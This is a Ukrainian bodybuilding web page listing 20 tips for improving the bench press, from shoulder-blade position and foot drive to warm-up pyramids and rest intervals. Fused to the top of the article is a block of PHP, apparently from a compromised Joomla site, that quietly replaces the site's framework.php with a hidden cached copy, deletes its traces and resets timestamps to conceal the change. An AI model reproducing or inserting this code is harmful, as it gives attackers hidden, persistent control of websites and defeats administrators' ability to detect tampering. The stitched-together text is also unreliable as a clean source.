$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Як правильно жати лежачи - або 20 порад успіху | Спортивне харчування - успіх у бодібілдингу та пауерліфтингу

20 високоефективних порад по збільшенню результатів в жимі лежачи

1. Плечі назад!

Під час жиму лежачи лопатки повинні бути зведені разом. Попрактикуйтесь спочатку без снаряда, встаньте прямо і упріться руками в стіну. Зробіть крок назад. Не згинайте ноги в колінах, тримайте спину прямо. Руки також повністю випрямлені.

Це вихідне положення. Щоб перейти в кінцеве положення, відведіть плечі назад і зведіть лопатки разом якомога ближче один до одного, зберігаючи руки прямими (лікті не згинати). Попрацюйте над вправою кілька днів або тижнів по 5 хвилин на день. За допомогою цього прийому ви не тільки збільшите результат в жимі лежачи, а й знизите ризик отримання травми.

2. Використовуйте ступні ніг.

Слідкуйте за тим, щоб ступні ніг були ТВЕРДО встановлені на поверхні підлоги і залишалися в такому положенні впродовж всього виконання вправи, Вони не повинні «гуляти» по підлозі. Такий стан створює міцну опору з якої виходить ваша міць і сила. Взагалі все ваше тіло повинно зберігати стабільність і бути щільно притиснутим в точках зіткнення з опорою, ступні ніг не є винятком з цього правила. Крім того, під час жимів, напружте і виконайте своєрідний поштовх ступнями ніг. Це згенерує додаткову силу. Потренуйте цей прийом під час звичайних грудних тренувань, а потім, коли освоїте його повністю, спробуйте застосувати в жимі на максимальний результат.

3. Обмани себе.

Ця техніка добре працює лише на дуже не багатьох атлетів, які володіють достатньою силою самонавіювання. Перш, ніж приступити до підйому максимального ваги, постарайтеся переконати себе в тому, що вага насправді значно менше реального. Скажіть собі, що на штанзі встановлено не 150 кг, а, наприклад, всього 130, який ви з легкістю піднімали раніше, такий прийом допоможе вам подолати 150 - кілограмовий снаряд!

4. Візуалізація.

Перед тим як перевірити себе на максимум, подумки уявіть, що ви вже успішно підняли снаряд. Ви повинні буквально побачити себе подолав вагу. Ви повинні "відчути" важкість снаряда, напруга в руках і в грудях, як якби ви піднімали штангу в реальності. «Відчуйте» руками холод металу, «почуйте» звуки в залі, «пройдіться» по всій траєкторії руху. Це підготує ваше тіло до максимального підйому і не буде для нього «шоком».

5. Стисніть сідниці.

Цей прийом навряд чи відомий середньому бодібілдеру. Не забувайте, що ваше тіло настільки сильне, наскільки сильна його найслабша ланка. Стискаючи сідниці під час жиму, ви купуєте більш стійке положення на лаві, і можете направити всю свою силу на підйом снаряда, спробуйте, і ви здивуєтесь, наскільки ефективний цей прийом.

6. Знайдіть свій хват.

Залежно від ваших сильних і слабких сторін, ви повинні випробувати різні хвати і знайти свій. Так, наприклад, якщо трицепси - ваше сильне місце, спробуйте хват трохи вужче звичного. Якщо ж навпаки, спробуйте трохи розширити хват. Тим не менш, не забувайте, що кожного разу, коли ви змінюєте хват, вашому тілу може знадобитися деякий час, щоб звикнути. Тому спочатку ви можете відчувати невелику незручність. Але через якийсь час ви звикнете і обов'язково піднімете свої результати.

7. Використовуйте товсті грифи. Якщо ви попрацюєте якийсь час з товстими грифами, а потім знову повернетеся до стандартної олімпійської штанги, то відчуєте, що виконувати жим лежачи стало набагато легше. Багато пауерліфтерів застосовують цю техніку у своїх заняттях, однак якщо ви займаєтеся не в атлетичному залі, а у фітнес-центрі, то навряд чи вам вдасться знайти там такі грифи.

8. Подолай розумові бар'єри.

Всі ми знаємо, наскільки ефективною є ментальне тренування, особливо це вірно щодо жимів лежачи. Людина може роками працювати з одним вагою, безуспішно намагаючись подолати свій рубіж, тільки тому, що не може зламати свої минулі установки. Але як тільки він переконає себе в тому, що може досягти більшого, його результати не перестають дивувати оточуючих. Не може бути так, що і у вашому випадку максимум обумовлений не фізичними, а розумовими чинниками? Відповідайте собі чесно на це питання.

9. Добре розігріватись.

Мабуть це найбільш груба помилка - приступати до підйому максимального ваги без попереднього розігріву. Готуючись до підйому максимального ваги, ви повинні ретельно розігріти м'язи, але при цьому не доводити їх до втоми. Іншими словами ваші м'язи повинні бути добре розігріті, але ви повинні залишатися повним сил для підйому максимального ваги, до того ж гарний розігрів знижує ризик отримання травми.

10. Принцип піраміди.

Не можна відразу намагатися підняти свій максимум. Очевидний факт, але багато атлетів допускають цю помилку, припустимо, що ви хочете підняти свій максимум - 170 кг в одному повторі. Безглуздо починати відразу з 170 кг. Замість цього ви повинні спочатку розім'ятися з розігріваючими вагами, а потім по піраміді нарощувати ваги, поступово підбираючись до свого максимуму, наприклад, ви можете спочатку зробити 85 X 6 (очевидно, що не «до відмови», а тільки для розігріву), потім підняти вага до 100 X 5 (також не «до відмови»), потім 140 X 2 (не «до відмови», але вже досить важко), потім 160 X 1, і тільки потім вже спробувати свої 170.

11. 3-5 хвилин між важкими підходами.

Будь-якому досвідченому бодібілдеру добре відома ця істина. Коли ви працюєте по силових програмам, ваше тіло використовує систему енергопостачання, відмінну від тієї, яка використовується при виконанні аеробіки. Закінчивши важкий підхід, потрібно повністю відновити цю енергосистему, щоб ви могли працювати з важкими вагами в наступному підході. Для цього необхідний відпочинок не менше трьох-п'яти хвилин.

12. Зберігайте тепло.

Ця порада пов'язана з попередньою порадою. Звичайно, між важкими підходами вам необхідно достатньо часу для відпочинку, але при цьому ви повинні стежити, щоб тіло не остигало. Тепло слід зберігати протягом всього тренування. Одягайте на тренування куртку з капюшоном або светр; між підходами оберніть ноги рушником, і т. п.

13. Працюйте над проблемними ділянками.

Якщо у вас є конкретна слабка ділянка, наприклад, «непрохідність» у нижній або середній частині підйому, можливо, вам знадобиться додаткова робота над цією областю, також не забувайте, що плечі набагато більше беруть участь у піднесенні снаряда в нижній частині руху , а трицепси - у верхній його частині. Незалежно від того, де конкретно починається «непрохідна» зона, використовуйте силову раму. Встановіть опори в тому місці, де починається «непрохідність», і працюйте над слабким ділянкою.

14. Зміцнюєте допоміжні м'язи.

Не нехтуйте допоміжними м'язами, які працюють в жимі лежачи. Не забувайте, що ланцюг слабкий настільки, наскільки слабка її найслабша ланка. Якщо ваші плечі запізнюються в розвитку в порівнянні з грудьми, трицепсами та іншими м'язовими групами, вам потрібно окремо попрацювати над зміцненням плечового пояса. Як тільки ви зробите це, результати в жимі лежачи злетять з божевільною швидкістю.

15. Підведіть груди.

Цей прийом корисний подвійно. Перше це те, що, піднімаючи груди, ви займаєте більш зручне положення на лаві. Але важливіше інше. Може ви бачили, як професійні атлети постійно застосовують цей прийом на змаганнях (особливо китайці в цьому великі умільці). Навіщо? Збільшуючи висоту грудей, ви тим самим зменшуєте відстань, яку треба подолати снаряду, і одночасно знижуєте загальну суму зусиль, необхідну для подолання опору.

16. Тримайте сідниці щільно притиснутими до лави.

Я не зовсім впевнений в тому, що розумію сенс цих рухів. Можливо, деякі атлети вважають, що відрив від лави в області сідниць свідчить про міцність упору ногами в підлогу. Але це ж не тільки небезпечно, але ще й забирає сили.

17. Дивіться в кінець.

Ніколи не думайте про проміжні фази руху. Концентруйтеся на кінцевій фазі. Не дозволяйте грифу зупинятися до тих пір, поки він не досягне кінцевої точки. Якщо ви коли-небудь змагалися в бігу, то ви знаєте, що не можна сповільнювати рух, поки не досягнете фінішу. Спробуйте застосувати цю аналогію під час підйому штанги. Звичайно, ніхто з нас свідомо не буде сповільнювати рух, або економити сили під час підйому, однак хочу нагадати, що мозок працює не тільки на свідомому, але й на підсвідомому рівні. Тому налаштовуйтесь на вибуховий рух і концентруйтеся на кінцевій точці.

18. Перед тим як опустити штангу, глибоко вдихніть.

Перед тим, як опустити гриф до грудей, зробіть глибокий вдих і затримайте дихання, це стабілізує м'язи грудної клітини, за рахунок чого ви зможете згенерувати більш потужне зусилля.

19. Використовуйте силу найширших.

Цю техніку ігнорують найчастіше. Найширші відіграють дуже велику роль в жимі лежачи на лавці. Сильні найширші м'язи значно сприяють підйому снаряда в жимі лежачи. Найширші повинні залишатися напруженими до закінчення виконання останнього повторення.

20. Уникайте перетренованості.

Уникайте перетренованості, перетренованість може повністю зупинити ваш прогрес в жимі лежачи. Давайте свому тілу достатньо часу для відновлення і правильно харчуйтеся.

І буде Вам щастя!

 

 
Бодібілдінг Як правильно жати лежачи - або 20 порад успіху